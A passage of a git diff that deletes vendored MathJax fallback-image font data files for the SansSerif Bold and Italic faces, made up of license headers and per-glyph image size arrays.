-      [4,4,0],[5,6,0],[5,7,0],[6,9,0],[7,10,0],[9,12,0],[10,13,0],[12,16,0],
-      [14,19,0],[17,23,0],[20,28,0],[24,32,0],[28,39,1],[33,46,1]
-    ],
-    0x65: [  // LATIN SMALL LETTER E
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[10,9,0],[12,11,0],
-      [14,13,0],[16,16,0],[19,19,0],[23,22,0],[27,27,1],[32,32,1]
-    ],
-    0x66: [  // LATIN SMALL LETTER F
-      [3,4,0],[4,6,0],[4,7,0],[5,9,0],[6,10,0],[7,12,0],[8,13,0],[9,16,0],
-      [11,19,0],[13,24,0],[15,28,0],[18,33,0],[21,39,0],[25,46,1]
-    ],
-    0x67: [  // LATIN SMALL LETTER G
-      [4,4,1],[5,6,2],[6,7,2],[7,8,2],[8,10,3],[9,11,3],[11,13,4],[13,16,5],
-      [15,18,5],[18,23,7],[21,27,8],[25,31,9],[30,38,12],[35,45,14]
-    ],
-    0x68: [  // LATIN SMALL LETTER H
-      [4,4,0],[5,6,0],[5,7,0],[6,9,0],[7,10,0],[9,12,0],[10,13,0],[12,16,0],
-      [14,19,0],[17,23,0],[20,28,0],[24,32,0],[28,38,0],[33,45,0]
-    ],
-    0x69: [  // LATIN SMALL LETTER I
-      [2,4,0],[2,6,0],[3,7,0],[3,9,0],[3,10,0],[4,12,0],[5,13,0],[5,16,0],
-      [6,19,0],[7,23,0],[9,28,0],[10,32,0],[12,38,0],[14,45,0]
-    ],
-    0x6A: [  // LATIN SMALL LETTER J
-      [3,5,1],[3,8,2],[4,9,2],[4,11,2],[5,13,3],[6,15,3],[7,17,4],[8,21,5],
-      [9,24,5],[11,30,7],[13,36,8],[15,41,9],[17,50,12],[21,59,14]
-    ],
-    0x6B: [  // LATIN SMALL LETTER K
-      [4,4,0],[5,6,0],[5,7,0],[6,9,0],[7,10,0],[9,12,0],[10,13,0],[12,16,0],
-      [14,19,0],[17,23,0],[20,28,0],[23,32,0],[28,38,0],[33,45,0]
-    ],
-    0x6C: [  // LATIN SMALL LETTER L
-      [2,4,0],[2,6,0],[2,7,0],[3,9,0],[3,10,0],[4,12,0],[4,13,0],[5,16,0],
-      [6,19,0],[7,23,0],[8,28,0],[10,32,0],[11,38,0],[14,45,0]
-    ],
-    0x6D: [  // LATIN SMALL LETTER M
-      [6,3,0],[7,4,0],[8,5,0],[10,6,0],[12,7,0],[14,8,0],[16,9,0],[19,11,0],
-      [23,13,0],[27,16,0],[32,19,0],[38,22,0],[45,26,0],[54,31,0]
-    ],
-    0x6E: [  // LATIN SMALL LETTER N
-      [4,3,0],[5,4,0],[5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,9,0],[12,11,0],
-      [14,13,0],[17,16,0],[20,19,0],[24,22,0],[28,26,0],[34,31,0]
-    ],
-    0x6F: [  // LATIN SMALL LETTER O
-      [4,3,0],[5,4,0],[6,5,0],[7,6,0],[8,7,0],[9,8,0],[11,9,0],[13,11,0],
-      [15,13,0],[18,16,0],[21,19,0],[25,22,0],[29,27,1],[35,32,1]
-    ],
-    0x70: [  // LATIN SMALL LETTER P
-      [4,4,1],[5,6,2],[6,7,2],[7,8,2],[8,10,3],[9,11,3],[11,13,4],[13,16,5],
-      [15,18,5],[18,23,7],[21,27,8],[25,31,9],[29,37,11],[35,43,13]
-    ],
-    0x71: [  // LATIN SMALL LETTER Q
-      [4,4,1],[5,6,2],[5,7,2],[6,8,2],[7,10,3],[9,11,3],[10,13,4],[12,16,5],
-      [14,18,5],[17,23,7],[20,27,8],[24,31,9],[28,37,11],[33,44,13]
-    ],
-    0x72: [  // LATIN SMALL LETTER R
-      [3,3,0],[3,4,0],[4,5,0],[5,6,0],[5,7,0],[6,8,0],[7,9,0],[9,11,0],
-      [10,13,0],[12,16,0],[14,19,0],[17,22,0],[20,26,0],[24,31,0]
-    ],
-    0x73: [  // LATIN SMALL LETTER S
-      [3,3,0],[4,4,0],[4,5,0],[5,6,0],[6,7,0],[7,8,0],[8,9,0],[10,11,0],
-      [11,13,0],[14,16,0],[16,19,0],[19,22,0],[22,27,1],[27,32,1]
-    ],
-    0x74: [  // LATIN SMALL LETTER T
-      [3,4,0],[4,5,0],[4,7,0],[5,8,0],[6,9,0],[7,10,0],[8,12,0],[9,14,0],
-      [11,17,0],[13,20,0],[15,24,0],[18,28,0],[21,33,0],[25,39,0]
-    ],
-    0x75: [  // LATIN SMALL LETTER U
-      [4,3,0],[5,4,0],[5,5,0],[6,6,0],[7,7,0],[9,8,0],[10,9,0],[12,11,0],
-      [14,13,0],[17,16,0],[20,19,0],[24,22,0],[28,27,1],[33,31,1]
-    ],
-    0x76: [  // LATIN SMALL LETTER V
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[10,9,0],[11,11,0],
-      [14,13,0],[16,16,0],[19,19,0],[22,22,0],[27,25,0],[32,30,0]
-    ],
-    0x77: [  // LATIN SMALL LETTER W
-      [5,3,0],[6,4,0],[7,5,0],[9,6,0],[10,7,0],[12,8,0],[14,9,0],[17,11,0],
-      [20,13,0],[24,16,0],[28,19,0],[33,22,0],[40,25,0],[47,30,0]
-    ],
-    0x78: [  // LATIN SMALL LETTER X
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[10,9,0],[11,11,0],
-      [14,13,0],[16,16,0],[19,19,0],[22,22,0],[27,26,0],[31,31,0]
-    ],
-    0x79: [  // LATIN SMALL LETTER Y
-      [4,5,1],[4,7,2],[5,8,2],[6,9,2],[7,11,3],[8,12,3],[10,14,4],[12,17,5],
-      [14,19,5],[16,23,7],[19,27,8],[23,32,9],[27,38,12],[32,45,14]
-    ],
-    0x7A: [  // LATIN SMALL LETTER Z
-      [4,3,0],[4,4,0],[5,5,0],[6,6,0],[7,7,0],[8,8,0],[9,9,0],[11,11,0],
-      [13,13,0],[15,16,0],[18,19,0],[21,21,0],[25,25,0],[29,30,0]
-    ],
-    0x7E: [  // TILDE
-      [4,1,-1],[4,2,-2],[5,2,-2],[6,3,-2],[7,4,-2],[8,4,-3],[9,3,-4],[11,4,-5],
-      [13,4,-5],[15,5,-7],[18,6,-8],[22,7,-9],[26,8,-11],[30,10,-13]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/BasicLatin.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/unpacked/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/unpacked/CombDiacritMarks.js
deleted file mode 100644
index 174072cb..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/unpacked/CombDiacritMarks.js
+++ /dev/null
@@ -1,77 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/CombDiacritMarks.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_SansSerif-bold": {
-    0x300: [  // COMBINING GRAVE ACCENT
-      [3,1,-3],[3,2,-4],[3,2,-5],[4,2,-7],[4,3,-7],[5,3,-9],[5,3,-10],[6,4,-12],
-      [7,5,-14],[9,6,-17],[10,7,-21],[12,8,-24],[14,9,-29],[17,11,-34]
-    ],
-    0x301: [  // COMBINING ACUTE ACCENT
-      [3,1,-3],[3,2,-4],[4,2,-5],[3,2,-7],[4,3,-7],[5,3,-9],[6,3,-10],[6,4,-12],
-      [8,5,-14],[8,6,-17],[11,7,-21],[12,8,-24],[14,9,-29],[16,11,-34]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [4,1,-3],[4,2,-4],[4,2,-5],[5,2,-7],[6,3,-7],[7,3,-9],[7,3,-10],[9,4,-12],
-      [10,5,-14],[12,6,-17],[14,7,-21],[16,8,-24],[19,9,-29],[23,11,-34]
-    ],
-    0x303: [  // COMBINING TILDE
-      [4,1,-3],[4,1,-5],[5,2,-5],[5,3,-6],[6,3,-7],[7,3,-9],[8,3,-10],[9,4,-12],
-      [11,4,-15],[13,5,-18],[16,6,-22],[18,7,-25],[21,8,-30],[25,10,-35]
-    ],
-    0x304: [  // COMBINING MACRON
-      [4,1,-3],[4,1,-5],[5,2,-5],[6,3,-6],[6,3,-8],[7,2,-9],[9,2,-11],[11,3,-13],
-      [12,3,-15],[14,4,-19],[16,5,-23],[20,5,-26],[23,6,-31],[27,7,-37]
-    ],
-    0x306: [  // COMBINING BREVE
-      [4,1,-3],[4,1,-5],[5,2,-5],[6,3,-6],[6,2,-8],[7,2,-10],[9,3,-10],[10,4,-12],
-      [11,4,-15],[14,5,-18],[16,6,-22],[19,7,-25],[22,8,-30],[26,10,-35]
-    ],
-    0x307: [  // COMBINING DOT ABOVE
-      [2,1,-3],[2,1,-5],[3,2,-5],[3,2,-7],[3,2,-8],[3,2,-10],[4,2,-11],[5,3,-13],
-      [5,3,-16],[6,4,-19],[7,4,-24],[8,5,-27],[10,6,-32],[12,7,-38]
-    ],
-    0x308: [  // COMBINING DIAERESIS
-      [4,2,-3],[4,2,-5],[5,3,-5],[5,3,-7],[6,3,-8],[7,3,-10],[8,3,-11],[9,4,-13],
-      [11,4,-16],[12,5,-19],[15,5,-24],[18,6,-27],[21,7,-32],[25,8,-38]
-    ],
-    0x30A: [  // COMBINING RING ABOVE
-      [3,1,-3],[3,2,-4],[3,2,-5],[4,2,-7],[5,2,-8],[5,3,-9],[6,3,-10],[7,4,-12],
-      [8,5,-14],[10,6,-17],[11,6,-22],[13,7,-25],[15,9,-29],[18,10,-35]
-    ],
-    0x30B: [  // COMBINING DOUBLE ACUTE ACCENT
-      [4,1,-3],[4,2,-4],[5,2,-5],[5,2,-7],[6,3,-7],[7,3,-9],[8,3,-10],[9,4,-12],
-      [11,5,-14],[12,6,-17],[15,7,-21],[17,8,-24],[20,9,-29],[23,11,-34]
-    ],
-    0x30C: [  // COMBINING CARON
-      [4,1,-3],[4,2,-4],[4,2,-5],[5,2,-6],[6,3,-7],[7,3,-8],[7,3,-10],[9,4,-12],
-      [10,5,-14],[12,6,-17],[14,7,-20],[16,8,-23],[19,9,-27],[23,11,-33]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/unpacked/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/unpacked/Main.js
deleted file mode 100644
index 5a4b5948..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/unpacked/Main.js
+++ /dev/null
@@ -1,34 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/Main.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_SansSerif-bold": {
-
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/unpacked/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/unpacked/Other.js
deleted file mode 100644
index 8d44b664..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/unpacked/Other.js
+++ /dev/null
@@ -1,157 +0,0 @@
-/*************************************************************
- *
- *  MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Bold/Other.js
- *  
- *  Defines the image size data needed for the HTML-CSS OutputJax
- *  to display mathematics using fallback images when the fonts
- *  are not availble to the client browser.
- *
- *  ---------------------------------------------------------------------
- *
- *  Copyright (c) 2009-2010 Design Science, Inc.
- *
- *  Licensed under the Apache License, Version 2.0 (the "License");
- *  you may not use this file except in compliance with the License.
- *  You may obtain a copy of the
- *
- *     http://www.apache.org/licenses/LICENSE-2.0
- *
- *  Unless required by applicable law or agreed to in writing, software
- *  distributed under the License is distributed on an "AS IS" BASIS,
- *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- *  See the License for the specific language governing permissions and
- *  limitations under the License.
- *
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({
-  "MathJax_SansSerif-bold": {
-    0xA0: [  // NO-BREAK SPACE
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],
-      [1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0],[1,1,0]
-    ],
-    0x131: [  // LATIN SMALL LETTER DOTLESS I
-      [2,3,0],[2,4,0],[2,5,0],[3,6,0],[3,7,0],[4,8,0],[4,9,0],[5,11,0],
-      [6,13,0],[7,16,0],[8,19,0],[10,22,0],[11,26,0],[14,30,0]
-    ],
-    0x237: [  // LATIN SMALL LETTER DOTLESS J
-      [3,4,1],[3,6,2],[4,7,2],[4,8,2],[5,10,3],[6,11,3],[7,13,4],[8,16,5],
-      [9,18,5],[11,23,7],[13,27,8],[15,31,9],[17,37,12],[21,44,14]
-    ],
-    0x300: [  // COMBINING GRAVE ACCENT
-      [3,1,-3],[3,2,-4],[3,2,-5],[4,2,-7],[4,3,-7],[5,3,-9],[5,3,-10],[6,4,-12],
-      [7,5,-14],[9,6,-17],[10,7,-21],[12,8,-24],[14,9,-29],[17,11,-34]
-    ],
-    0x301: [  // COMBINING ACUTE ACCENT
-      [3,1,-3],[3,2,-4],[4,2,-5],[3,2,-7],[4,3,-7],[5,3,-9],[6,3,-10],[6,4,-12],
-      [8,5,-14],[8,6,-17],[11,7,-21],[12,8,-24],[14,9,-29],[16,11,-34]
-    ],
-    0x302: [  // COMBINING CIRCUMFLEX ACCENT
-      [4,1,-3],[4,2,-4],[4,2,-5],[5,2,-7],[6,3,-7],[7,3,-9],[7,3,-10],[9,4,-12],
-      [10,5,-14],[12,6,-17],[14,7,-21],[16,8,-24],[19,9,-29],[23,11,-34]
-    ],
-    0x303: [  // COMBINING TILDE
-      [4,1,-3],[4,1,-5],[5,2,-5],[5,3,-6],[6,3,-7],[7,3,-9],[8,3,-10],[9,4,-12],
-      [11,4,-15],[13,5,-18],[16,6,-22],[18,7,-25],[21,8,-30],[25,10,-35]
-    ],
-    0x304: [  // COMBINING MACRON
-      [4,1,-3],[4,1,-5],[5,2,-5],[6,3,-6],[6,3,-8],[7,2,-9],[9,2,-11],[11,3,-13],
-      [12,3,-15],[14,4,-19],[16,5,-23],[20,5,-26],[23,6,-31],[27,7,-37]
-    ],
-    0x306: [  // COMBINING BREVE
-      [4,1,-3],[4,1,-5],[5,2,-5],[6,3,-6],[6,2,-8],[7,2,-10],[9,3,-10],[10,4,-12],
-      [11,4,-15],[14,5,-18],[16,6,-22],[19,7,-25],[22,8,-30],[26,10,-35]
-    ],
-    0x307: [  // COMBINING DOT ABOVE
-      [2,1,-3],[2,1,-5],[3,2,-5],[3,2,-7],[3,2,-8],[3,2,-10],[4,2,-11],[5,3,-13],
-      [5,3,-16],[6,4,-19],[7,4,-24],[8,5,-27],[10,6,-32],[12,7,-38]
-    ],
-    0x308: [  // COMBINING DIAERESIS
-      [4,2,-3],[4,2,-5],[5,3,-5],[5,3,-7],[6,3,-8],[7,3,-10],[8,3,-11],[9,4,-13],
-      [11,4,-16],[12,5,-19],[15,5,-24],[18,6,-27],[21,7,-32],[25,8,-38]
-    ],
-    0x30A: [  // COMBINING RING ABOVE
-      [3,1,-3],[3,2,-4],[3,2,-5],[4,2,-7],[5,2,-8],[5,3,-9],[6,3,-10],[7,4,-12],
-      [8,5,-14],[10,6,-17],[11,6,-22],[13,7,-25],[15,9,-29],[18,10,-35]
-    ],
-    0x30B: [  // COMBINING DOUBLE ACUTE ACCENT
-      [4,1,-3],[4,2,-4],[5,2,-5],[5,2,-7],[6,3,-7],[7,3,-9],[8,3,-10],[9,4,-12],
-      [11,5,-14],[12,6,-17],[15,7,-21],[17,8,-24],[20,9,-29],[23,11,-34]
-    ],
-    0x30C: [  // COMBINING CARON
-      [4,1,-3],[4,2,-4],[4,2,-5],[5,2,-6],[6,3,-7],[7,3,-8],[7,3,-10],[9,4,-12],
-      [10,5,-14],[12,6,-17],[14,7,-20],[16,8,-23],[19,9,-27],[23,11,-33]
-    ],
-    0x393: [  // GREEK CAPITAL LETTER GAMMA
-      [4,4,0],[5,6,0],[6,7,0],[7,9,0],[8,10,0],[9,12,0],[11,13,0],[13,16,0],
-      [15,19,0],[18,23,0],[21,28,0],[25,32,0],[30,38,0],[35,45,0]
-    ],
-    0x394: [  // GREEK CAPITAL LETTER DELTA
-      [6,4,0],[8,6,0],[9,7,0],[11,9,0],[12,10,0],[15,12,0],[17,13,0],[20,16,0],
-      [24,19,0],[29,23,0],[34,28,0],[40,32,0],[48,38,0],[57,45,0]
-    ],
-    0x398: [  // GREEK CAPITAL LETTER THETA
-      [6,4,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],[14,12,0],[16,13,0],[19,16,0],
-      [22,19,0],[27,24,0],[32,29,0],[37,35,1],[44,41,1],[53,49,1]
-    ],
-    0x39B: [  // GREEK CAPITAL LETTER LAMDA
-      [5,4,0],[6,6,0],[7,7,0],[8,9,0],[9,10,0],[11,12,0],[13,13,0],[15,16,0],
-      [18,19,0],[21,23,0],[25,28,0],[29,32,0],[35,38,0],[41,45,0]
-    ],
-    0x39E: [  // GREEK CAPITAL LETTER XI
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,13,0],[16,16,0],
-      [19,19,0],[23,23,0],[27,28,0],[32,32,0],[38,38,0],[45,45,0]
-    ],
-    0x3A0: [  // GREEK CAPITAL LETTER PI
-      [5,4,0],[6,6,0],[7,7,0],[9,9,0],[10,10,0],[12,12,0],[14,13,0],[17,16,0],
-      [20,19,0],[23,23,0],[28,28,0],[33,32,0],[39,38,0],[46,45,0]
-    ],
-    0x3A3: [  // GREEK CAPITAL LETTER SIGMA
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,13,0],[17,16,0],
-      [21,19,0],[25,23,0],[29,28,0],[34,32,0],[41,38,0],[49,45,0]
-    ],
-    0x3A5: [  // GREEK CAPITAL LETTER UPSILON
-      [6,4,0],[7,6,0],[8,7,0],[10,9,0],[11,10,0],[14,12,0],[16,13,0],[19,16,0],
-      [22,19,0],[26,24,0],[31,29,0],[37,34,0],[44,40,0],[52,47,0]
-    ],
-    0x3A6: [  // GREEK CAPITAL LETTER PHI
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,13,0],[17,16,0],
-      [21,19,0],[25,23,0],[29,28,0],[34,32,0],[41,38,0],[49,45,0]
-    ],
-    0x3A8: [  // GREEK CAPITAL LETTER PSI
-      [6,4,0],[7,6,0],[9,7,0],[10,9,0],[12,10,0],[14,12,0],[17,13,0],[20,16,0],
-      [23,19,0],[28,23,0],[33,28,0],[39,32,0],[46,38,0],[55,45,0]
-    ],
-    0x3A9: [  // GREEK CAPITAL LETTER OMEGA
-      [6,4,0],[7,6,0],[8,7,0],[9,9,0],[11,10,0],[13,12,0],[15,13,0],[18,16,0],
-      [21,19,0],[25,24,0],[29,28,0],[35,33,0],[41,39,0],[49,46,0]
-    ],
-    0x2013: [  // EN DASH
-      [4,1,-1],[5,1,-2],[6,2,-2],[7,2,-2],[8,3,-3],[10,3,-3],[11,2,-5],[13,3,-6],
-      [16,3,-7],[19,3,-8],[22,4,-10],[26,5,-11],[31,5,-13],[37,6,-16]
-    ],
-    0x2014: [  // EM DASH
-      [8,1,-1],[10,1,-2],[11,1,-2],[13,2,-2],[16,3,-3],[19,3,-3],[22,2,-5],[26,3,-6],
-      [31,3,-7],[37,3,-8],[43,4,-10],[52,5,-11],[61,5,-13],[73,6,-16]
-    ],
-    0x2018: [  // LEFT SINGLE QUOTATION MARK
-      [2,2,-2],[2,3,-3],[3,3,-4],[3,3,-6],[4,4,-6],[4,5,-7],[5,5,-8],[6,6,-10],
-      [7,7,-12],[8,9,-14],[9,10,-18],[11,12,-20],[13,14,-24],[15,17,-28]
-    ],
-    0x2019: [  // RIGHT SINGLE QUOTATION MARK
-      [2,2,-2],[2,3,-3],[3,3,-4],[3,4,-5],[4,4,-6],[4,5,-7],[5,5,-8],[6,6,-10],
-      [7,8,-11],[8,9,-14],[9,10,-18],[11,12,-20],[13,15,-23],[15,17,-28]
-    ],
-    0x201C: [  // LEFT DOUBLE QUOTATION MARK
-      [4,2,-2],[5,3,-3],[6,3,-4],[7,3,-6],[8,4,-6],[9,5,-7],[11,5,-8],[13,6,-10],
-      [15,7,-12],[18,9,-14],[21,10,-18],[25,12,-20],[29,14,-24],[35,17,-28]
-    ],
-    0x201D: [  // RIGHT DOUBLE QUOTATION MARK
-      [3,2,-2],[4,3,-3],[5,3,-4],[5,4,-5],[6,4,-6],[7,5,-7],[8,5,-8],[10,6,-10],
-      [12,8,-11],[14,9,-14],[17,10,-18],[20,12,-20],[23,15,-23],[27,17,-28]
-    ]
-  }
-});
-
-MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Bold"+
-                          MathJax.OutputJax["HTML-CSS"].imgPacked+"/Other.js");
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/BasicLatin.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/BasicLatin.js
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-/*
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- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
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diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/CombDiacritMarks.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/CombDiacritMarks.js
deleted file mode 100644
index 6726e76a..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/CombDiacritMarks.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/CombDiacritMarks.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_SansSerif-italic":{768:[[2,1,-4],[3,2,-4],[3,2,-6],[3,2,-7],[3,2,-7],[4,3,-9],[5,4,-10],[5,4,-13],[6,5,-15],[7,6,-17],[8,7,-21],[9,8,-24],[11,10,-30],[13,11,-34]],769:[[3,1,-4],[3,2,-4],[3,2,-6],[4,2,-7],[4,2,-7],[6,3,-9],[6,4,-10],[7,4,-13],[8,5,-15],[10,6,-17],[11,7,-21],[12,8,-24],[15,10,-30],[18,11,-34]],770:[[4,1,-4],[4,2,-4],[5,2,-6],[5,2,-7],[6,2,-7],[7,3,-9],[8,4,-10],[9,4,-13],[10,5,-15],[13,6,-17],[15,7,-21],[17,8,-24],[20,10,-30],[24,11,-34]],771:[[4,1,-3],[4,1,-5],[4,2,-5],[5,3,-6],[6,2,-7],[6,3,-9],[8,3,-10],[9,3,-13],[11,4,-15],[12,5,-17],[15,6,-21],[17,6,-25],[21,8,-31],[24,9,-35]],772:[[4,1,-3],[4,1,-5],[5,1,-6],[5,2,-6],[6,2,-6],[8,3,-9],[9,2,-11],[10,2,-13],[11,3,-16],[14,3,-18],[16,4,-22],[18,4,-25],[22,5,-31],[26,6,-36]],774:[[3,1,-4],[4,2,-4],[4,2,-6],[5,3,-6],[6,3,-6],[7,4,-8],[8,4,-10],[9,4,-13],[11,6,-14],[13,6,-17],[15,8,-20],[18,9,-23],[21,11,-29],[24,12,-33]],775:[[2,1,-3],[2,1,-5],[2,2,-5],[3,2,-7],[3,2,-7],[3,2,-10],[3,3,-10],[4,3,-13],[4,3,-16],[5,4,-18],[6,5,-22],[7,5,-26],[8,6,-33],[9,7,-38]],776:[[3,1,-3],[4,1,-5],[4,2,-5],[5,2,-7],[5,2,-7],[6,2,-10],[7,2,-11],[8,3,-13],[10,3,-16],[11,4,-18],[13,4,-23],[15,5,-26],[19,6,-33],[21,7,-38]],778:[[2,1,-3],[2,2,-4],[3,2,-5],[3,2,-7],[4,2,-7],[4,3,-9],[5,3,-10],[6,5,-11],[7,5,-14],[8,6,-16],[9,7,-21],[11,8,-24],[13,10,-30],[15,11,-34]],779:[[3,2,-2],[4,2,-4],[4,2,-5],[5,3,-6],[5,3,-6],[7,3,-9],[8,4,-9],[9,5,-11],[10,5,-14],[13,6,-16],[15,8,-20],[17,9,-23],[20,10,-30],[24,11,-34]],780:[[3,1,-3],[4,2,-4],[4,2,-5],[5,2,-6],[5,2,-6],[6,3,-9],[8,4,-10],[9,4,-12],[10,5,-14],[12,6,-16],[15,7,-19],[17,8,-22],[20,10,-28],[23,11,-32]]}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Italic"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/CombDiacritMarks.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/Main.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/Main.js
deleted file mode 100644
index ef77f284..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/Main.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/Main.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
-MathJax.OutputJax["HTML-CSS"].defineImageData({"MathJax_SansSerif-italic":{}});MathJax.Ajax.loadComplete(MathJax.OutputJax["HTML-CSS"].imgDir+"/SansSerif/Italic"+MathJax.OutputJax["HTML-CSS"].imgPacked+"/Main.js");
-
diff --git a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/Other.js b/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/Other.js
deleted file mode 100644
index ee29705b..00000000
--- a/public/MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/Other.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
- *  /MathJax/fonts/HTML-CSS/TeX/png/SansSerif/Italic/Other.js
- *  
- *  Copyright (c) 2010 Design Science, Inc.
- *
- *  Part of the MathJax library.
- *  See http://www.mathjax.org for details.
- * 
- *  Licensed under the Apache License, Version 2.0;
- *  you may not use this file except in compliance with the License.
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- */
-
